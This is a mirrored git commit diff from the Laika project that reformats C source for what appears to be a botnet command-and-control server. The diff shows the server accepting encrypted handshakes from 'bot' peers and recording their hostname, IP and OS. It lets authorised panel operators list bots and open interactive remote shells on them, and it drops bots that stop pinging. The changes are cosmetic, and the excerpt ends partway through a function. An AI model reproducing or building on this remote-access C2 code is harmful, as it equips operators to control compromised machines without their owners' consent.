1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-04 15:20:07 +00:00

Added .clang-format, formatted codebase

This commit is contained in:
2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

View File

@@ -1,24 +1,25 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "hashmap.h"
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc {
struct sLaika_cnc
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
@@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

View File

@@ -7,9 +7,13 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
#endif

View File

@@ -3,18 +3,20 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
struct sLaika_peerInfo {
struct sLaika_peerInfo
{
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc;
long lastPing;
bool completeHandshake;
};
struct sLaika_shellInfo {
struct sLaika_shellInfo
{
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
@@ -24,25 +26,28 @@ struct sLaika_shellInfo {
#define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo {
struct sLaika_botInfo
{
BASE_PEERINFO
};
struct sLaika_authInfo {
struct sLaika_authInfo
{
BASE_PEERINFO
};
#undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeShells(struct sLaika_peer *peer);

View File

@@ -1,57 +1,61 @@
#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cnc.h"
#include "cpanel.h"
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n");
return true;
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */
@@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
* which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */
@@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
@@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
@@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0;
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) {
@@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
void laikaC_bindServer(struct sLaika_cnc *cnc)
{
/* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port);
@@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
laikaP_addSock(&cnc->pList, &cnc->sock);
}
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_freeCNC(struct sLaika_cnc *cnc)
{
int i;
laikaS_cleanSocket(&cnc->sock);
@@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaM_free(cnc);
}
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
GETPINFOFROMPEER(peer)->completeHandshake = true;
@@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
/* ignore uninitalized peers */
@@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) {
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default: break;
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default:
break;
}
/* notify connected panels of the disconnected peer */
@@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
{
/* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer);
@@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */
peer->type = type;
switch (type) {
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
}
/* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer);
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
cnc->authPeersCap);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
@@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i;
for (i = 0; i < cnc->authPeersCount; i++) {
@@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
}
}
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
@@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
printf("[~] Added authenticated public key '%s'\n", key);
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
laikaC_onRmvPeer(cnc, peer);
/* free peerInfo if it's defined */
if (peer->uData)
laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
laikaS_freePeer(peer);
LAIKA_DEBUG("peer %p killed!\n", peer);
}
/* socket event */
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_killPeer(cnc, peer);
}
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
{
struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
@@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) {
evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_botPktTbl,
&cnc->pList,
laikaC_onPollFail,
cnc,
(void*)laikaC_newBotInfo(cnc)
);
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
(void *)laikaC_newBotInfo(cnc));
LAIKA_TRY
/* setup and accept new peer */
@@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
return true;
}
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
{
tCNC_PeerHashElem *elem =
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL;
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
bool sweepPeers(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
@@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
return true;
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
}
/* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData {
struct sWrapperData
{
tLaika_peerIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
bool iterWrapper(const void *rawItem, void *uData)
{
struct sWrapperData *data = (struct sWrapperData *)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
return data->iter(item->peer, data->uData);
}
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
{
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
}

View File

@@ -1,12 +1,13 @@
#include "lerror.h"
#include "lmem.h"
#include "cpanel.h"
#include "cnc.h"
#include "cpeer.h"
#include "cpanel.h"
#include "lerror.h"
#include "lmem.h"
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peer *authPeer = (struct sLaika_peer *)uData;
/* make sure we're not sending connection information to themselves */
if (peer != authPeer) {
@@ -17,7 +18,8 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
@@ -31,7 +33,8 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
@@ -43,34 +46,38 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
type = laikaS_readByte(&authPeer->sock);
switch (type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
@@ -91,8 +98,10 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaC_openShell(peer, authPeer, cols, rows);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell;
uint32_t id;
@@ -106,15 +115,17 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
laikaC_closeShell(shell);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
struct sLaika_shellInfo *shell;
uint32_t id;
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));

View File

@@ -1,13 +1,14 @@
#include "lmem.h"
#include "cpeer.h"
#include "cnc.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
/* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@@ -20,29 +21,34 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
return pInfo;
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
{
struct sLaika_botInfo *bInfo =
(struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
/* TODO */
return bInfo;
}
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc)
{
struct sLaika_authInfo *aInfo =
(struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
/* TODO */
return aInfo;
}
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo)
{
peer->uData = NULL;
laikaM_free(pInfo);
}
/* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int findOpenShellID(struct sLaika_peerInfo *pInfo)
{
int id;
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
@@ -53,8 +59,11 @@ int findOpenShellID(struct sLaika_peerInfo *pInfo) {
return -1;
}
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) {
struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo));
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows)
{
struct sLaika_shellInfo *shell =
(struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo));
shell->bot = bot;
shell->auth = auth;
@@ -88,7 +97,8 @@ struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika
return shell;
}
void laikaC_closeShell(struct sLaika_shellInfo *shell) {
void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
@@ -106,7 +116,8 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell) {
laikaM_free(shell);
}
void laikaC_closeShells(struct sLaika_peer *peer) {
void laikaC_closeShells(struct sLaika_peer *peer)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i;
@@ -118,8 +129,9 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
@@ -133,14 +145,15 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaC_closeShell(shell);
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
